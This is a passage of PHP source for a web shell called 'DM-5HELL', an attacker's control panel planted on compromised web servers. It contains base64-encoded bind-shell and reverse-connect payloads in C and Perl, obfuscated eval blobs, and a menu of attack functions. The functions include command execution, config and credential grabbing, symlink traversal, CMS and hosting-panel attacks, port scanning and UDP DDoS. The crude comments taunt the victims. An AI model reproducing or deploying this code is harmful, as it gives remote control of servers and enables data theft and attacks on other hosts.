649function clearspace($text) {
650 return str_replace(" ", "_", $text);
651}
652// Fungsi NetSploit //
653$port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
654$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
655$back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
656$back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
657?>
658
659<html><head>
660<title>
661 :: DM-5HELL ::
662</title>
663
664<script type="text/javascript">
665function tukar(lama,baru){
666document.getElementById(lama).style.display = 'none';
667document.getElementById(baru).style.display = 'block';
668 }
669function blink() {
670var blinks = document.getElementsByTagName('kelip');
671for (var i = blinks.length - 1; i >= 0; i--) {
672var s = blinks[i];
673s.style.visibility = (s.style.visibility === 'visible') ? 'hidden' : 'visible';
674}
675window.setTimeout(blink, 500);
676}
677if (document.addEventListener) document.addEventListener("DOMContentLoaded", blink, false);
678else if (window.addEventListener) window.addEventListener("load", blink, false);
679else if (window.attachEvent) window.attachEvent("onload", blink);
680else window.onload = blink;
681</script>
682
683<style type="text/css">
684body{
685background:#000000;
686}
687
688a { text-decoration:none; }
689a:hover{ border-bottom:1px solid white; }
690
691*{ font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF; }
692
693#menu{ background:#111111;margin:8px 2px 4px 2px; }
694
695#menu a{ padding:4px 18px;
696margin:0;
697
698background:#222222;
699text-decoration:none;
700letter-spacing:2px;
701border-radius: 4px;
702border-bottom:2px solid #444444;
703border-top:2px solid #444444;
704border-right:2px solid blue;
705border-left:2px solid blue;
706}
707
708#menu a:hover{
709background:#191919;
710border-radius: 7px;
711border-bottom:2px solid #white;
712border-top:2px solid #white;
713border-right:2px solid blue;
714border-left:2px solid blue;
715}
716
717.tabnet{ margin:15px auto 0 auto;border: 1px solid #333333; }
718
719.main {
720width:90%;
721margin:30px auto 10px;
722padding:10px 10px 5px 10px;
723border-radius:5px;
724-moz-border-radius:5px;
725-moz-box-shadow:0px 0px 10px #FFFFFF;
726}
727
728.gaya { color: blue; }
729
730.gaya a { color: white; }
731
732.inputz{ background:#111111;
733border:0;
734padding:2px;
735border-bottom:1px solid blue;
736border-top:1px solid blue; }
737
738.inputzbut{
739background:#111111;
740color:#blue;
741margin:0 4px;
742border:1px solid #444444;
743border-bottom:1px solid blue;
744border-top:1px solid blue;
745border-right:1px solid blue;
746border-left:1px solid blue;
747}
748
749.inputz:hover, .inputzbut:hover{
750border-bottom:1px solid white;
751border-top:1px solid white;
752}
753
754.output { margin:auto;
755border:1px solid blue;
756width:100%;
757height:400px;
758background:#000000;
759padding:0 2px; }
760
761.cmdbox{ width:100%; }
762
763.head_info{ padding: 0 4px; }
764
765.dminfox {
766font-size:11px;
767font-family:Tahoma,Verdana,Arial;
768color:white;
769}
770
771.infodmx {
772font-size:11px;
773font-family:Tahoma,Verdana,Arial;
774color:blue;
775}
776
777.b0{
778font-size:30px;padding:0;color:#444444;
779}
780.b1{
781font-size:25px;padding:0;color:blue;
782}
783.b2{
784font-size:25px;padding:0;color:white;
785}
786.b3{
787font-size:10px;padding:0;color:blue;
788}
789.b4{
790font-size:20px;padding:0;color:#FF0000;
791}
792.b5{
793font-size:20px;padding:0;color:#FFFFFF;
794}
795.b6{
796font-size:20px;padding:0;color:#00FF00;
797}
798.b7{
799font-size:20px;padding:0;color:blue;
800}
801.b8{
802font-size:20px;padding:0;color:white;
803}
804.b9{
805font-size:20px;padding:0;color:yellow;
806}
807.b10{
808font-size:20px;padding:0;color:#444444;
809}
810.b11{
811font-size:10px;padding:0;color:yellow;
812}
813.b12{
814font-size:10px;padding:0;color:#444444;
815}
816
817.b_tbl{ text-align:center;
818margin:0 1px 0 0;
819padding:0 1px 0 0;
820border-right:1px solid #333333; }
821
822.c_tbl{ text-align:center;
823margin:0 4px 0 0;
824padding:0 4px 0 0;
825border-left:1px solid #333333; }
826
827.phpinfo table{ width:100%;
828padding:0 0 0 0; }
829
830.phpinfo td{ background:#191919;
831color:#cccccc;
832padding:6px 8px;; }
833
834.phpinfo th, th{ background:#111111;
835border-bottom:1px solid #333333;
836font-weight:normal; }
837
838.phpinfo h2, .phpinfo h2 a{ text-align:center;
839font-size:16px;
840padding:0;
841margin:30px 0 0 0;
842background:#222222;
843padding:4px 0; }
844
845.explore{ width:100%; }
846
847.explore a { text-decoration:none; }
848.explore td{ border-bottom:1px solid white;
849padding:0 8px;
850line-height:10px; }
851
852.explore th{ padding:3px 8px;
853font-weight:normal; }
854
855.explore th:hover , .phpinfo th:hover{ border-bottom:1px solid white; }
856
857.explore tr:hover{ background:#444444;
858cursor:pointer; }
859
860.viewfile{ background:#EDECEB;
861color:#000000;
862margin:4px 2px;
863padding:8px; }
864
865.sembunyi{ display:none;
866padding:0;margin:0;}
867
868.info{ background:#111111;
869width:99%;
870padding:5px;
871margin:10px auto 5px;
872text-align:center;
873font-size:13px;}
874
875.info a{ font-size:14px;}
876.info span{ font-size:14px;}
877.jaya{ margin:5px; text-align:right; }
878</style>
879</head>
880<body onLoad="document.getElementById('cmd').focus();">
881<div class="main"><div class="head_info">
882<table><tr><td>
883
884<table class="b_tbl">
885<tr><td>
886<a href="?"><img src="https://fbcdn-photos-h-a.akamaihd.net/hphotos-ak-ash4/1478966_499570250161495_1507511439_n.jpg" width="145" heigth="130"></a>
887</td></tr>
888<tr><td>
889<nobr><b><span class="b1">DM-5HELL</span></b></a></nobr>
890</td></tr>
891<tr><td>
892<nobr><b><span style=font-size:15px;padding:0;color:#444444;">[root@RHEL5 ~]# whoami</span></b></nobr>
893</td></tr>
894<tr><td><? if(isset($auth_pass)){ echo "<form method='POST'> <input type='SUBMIT' class='inputz' name='logout' value=' [ LOG OUT ] '></form>"; } ?></td></tr>
895</table>
896</td>
897<td><?php echo $buff; ?></td>
898
899</tr></table></div>
900
901
902<!-- ARE YOU READY ? :D -->
903
904 <!-- 1 -->
905 <!-- 2 -->
906<!-- 3 -->
907
908<!-- LET'S PLAY THE MUSIC :D -->
909
910<br><br>
911<div id="menu" align="center">
912<table><tr>
913<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>">HOME</a></b></td>
914<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=phpinfo">PHP INFO</a></b></td>
915 <td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mysql1">MYSQL I</a></b></td>
916<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mysql2">MYSQL II</a></b></td>
917<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=upload">UPLOAD</a></b></td>
918<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mail">MAILER</a></b></td>
919</tr></table></div>
920
921<!-- Let's Make A Little Command For Safety First :) -->
922
923<div id="menu" align="center">
924<table><tr>
925<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=php">EVAL</a></b></td>
926<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=shell">SHELL</a></b></td>
927<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec1">HTACCESS</a></b></td>
928<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec2">PHP.INI</a></b></td>
929<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec3">BASEDIR</a></b></td>
930<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec4">PROCESS</a></b></td>
931<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=netsploit">NETSPLOIT</a></b></td>
932</tr></table></div>
933
934<!-- Next You Always Say This Is Config Fvcker -->
935<!-- Oh Yeah Honey :* Please Don't Tell Everybody If You Will Fucking Me Now :* -->
936
937<div id="menu" align="center"><table><tr>
938<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=jumping">JUMP</a></b></td>
939<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=grabber">GRAB</a></b></td>
940<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ckperl">PERL</a></b></td>
941<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=apache">APACHE</a></b></td>
942<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=hostgator">HOSTGATOR</a></b></td>
943<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=bluehost">BLUEHOST</a></b></td>
944<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ovh">OVH</a></b></td>
945<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=litespeed">NGINX</a></b></td>
946</tr></table></div>
947
948<!-- Are You Like Symlink Methode ? Haha :D Funny LoL -->
949
950<div id="menu" align="center"><table><tr>
951<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym1">SYMLINK1</a></b></nobr></td>
952<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym2">SYMLINK2</a></b></nobr></td>
953<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym3">SYMLINK3</a></b></nobr></td>
954<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym4">SYMLINK4</a></b></nobr></td>
955<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym5">SYMLINK5</a></b></nobr></td>
956<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym6">SYMLINK6</a></b></nobr></td>
957</tr></table></div>
958
959<!-- Hhmmm... Are You Like WHMCS ? -->
960<!-- Haha Me Too :D Think Again Dude -->
961<!-- If You And Me Like WHMCS, WHO WE ARE ;D Lolers? -->
962
963<div id="menu" align="center"><table><tr>
964<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=whmcs1">WHMCS</a></b></td>
965<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=whmcs2">WHMCS II</a></b></td>
966<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=plesk">PLESK</a></b></td>
967<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=reseller">RESELLER</a></b></td>
968<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=crypter">ENCRYPT</a></b></td>
969<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=cgi2012">CGI2012</a></b></td>
970</tr></table></div>
971
972<!-- How About This Man ? -->
973<!-- nanana yayaya lalala enjoy the cms ;v -->
974
975<div id="menu" align="center"><table><tr>
976<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=cpanel">CPANEL</a></b></td>
977<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=iis7">IIS 7.5</a></b></td>
978<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmwp">WP</a></b></td>
979<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmjm">JOOMLA</a></b></td>
980<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmvb">VB</a></b></td>
981<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=skype">SKYPE</a></b></td>
982 </tr></table></div>
983
984 <!-- Sexy Women Sexy On Your Bed :D wkwkwk -->
985
986<div id="menu" align="center"><table><tr>
987<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=unzip">UNZIP</a></b></td>
988<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=coding">ENCODE</a></b></td>
989<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=analyzer">ANALYZER</a></b></td>
990<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=tools">OTHER TOOLS</a></b></td>
991</tr></table></div>
992
993<!-- Maybe This Can Help You :) -->
994
995<div id="menu" align="center"><table><tr>
996<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=sscan">SHELL SCAN</a></b></td>
997<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=pscan">PORT SCAN</a></b></td>
998<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ddos">UDP DDOS</a></b></td></tr></table></div>
999
1000<!-- Last Songs From EviLolers -->
1001
1002<div id="menu" align="center"><table><tr>
1003<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=about">ABOUT ME</a></b></td>
1004<td style=\"text-align:center;\"><b><a href="?<?phwd; ?>&x=kill">KILL SHELL</a></b></td>
1005</tr></table></div>
1006
1007<!-- Okay... It's Time To Play.. With Us.. -->
1008<!-- You'll Never Know Before You Try It First -->
1009
1010<?php
1011eval(base64_decode(gzuncompress(base64_decode("eJyNkstyqzoQRX8Jgck9Hh4CQsaWCHqCZoCoKEgQkhAb8/WHT7iDrurq2pPea+la2+7VzsMsf5vwvPao8H2EP5sJ7po3QR1Sf9ydZv8n8/6hxRLx2T20IHPrYFIJkLCc2EoVYwvhVQQUSkE8FoaY0HLhlsvA1gCPUuARBlhCJEOJBp+016jYlHq/iwx+dZ7OzMOYSZibTD6FgrZN5Uo4VCyHsciJMvVnrEV/Ek6+KAUrOtOFRwUquXYkumz4ubIm8ELs1S4muPZiW/qgSLGnuKqTWn+s+zWyyfFL082Jwnn8i6f33exyVDlpGKD+FkJodp1Xs5c6zx7cF75M7Q8JJWbqvOqJ3gkwXwbalGSFImNhq7rwbbadOFq+urTZxOyenSTfRC4X81wjDP4GAhYv1LlHN2UnqYxSEvIBmVBlf75L7lHl4Q9Ni11ExdQF206jRV+fP6B1P3c56pV4G+npBHBqG5aZxbiVq9F4M4GSQIIqscZtDV+4tPfOF7vOLptG+g1zu4hg2XhuPjmg2VD7awkPLsBrnG9EK3DBeX/v52TS7vEgE410TfJrCOSAkpRE5peIMxPK7ca9h73Ul37PNpPT8vo8KzbhgCDyHKaioeHGFbI3EkJEc0PZVMSM21rPxQtRqxp8cVfZ9o0nsFQhufIMFN0MfxXUV+MWXM30W83LiWdaU2U/e+/vg6NPDvtnB/t74yHV4SII0ic6L1EVPJ6Dk5q5ZWTTVtJRHz2AC5FF2M5VZBQ+3QA8ERc75q1twyYykV8qkT1kZgRJE3F4hNh+0J0lblUP+AzDDsj20K+4BedSz8tyMD+R6ewGKA/PsrgBdqQSBmz6jEoBX1mq5eDhG0bJjUTJG8nPca8KbhTclZSCp/SXBNudoeWl3ws0OC2GDM5tegEyTbieAGsRBKVYHgq9RwTYXUPrqlF+dM7fZGhyguQrBfCNcEuYlPdu/xveAoN4dt75iGORmbKvYUyOvUU2aKP+43oUc8x//wB56Vmk"))));
1012if (isset($_GET['x']) && ($_GET['x'] == 'php')) { ?>
1013<form action="?dm=<?php echo $pwd; ?>&x=php" method="post">
1014<table class="cmdbox"><tr><td>
1015<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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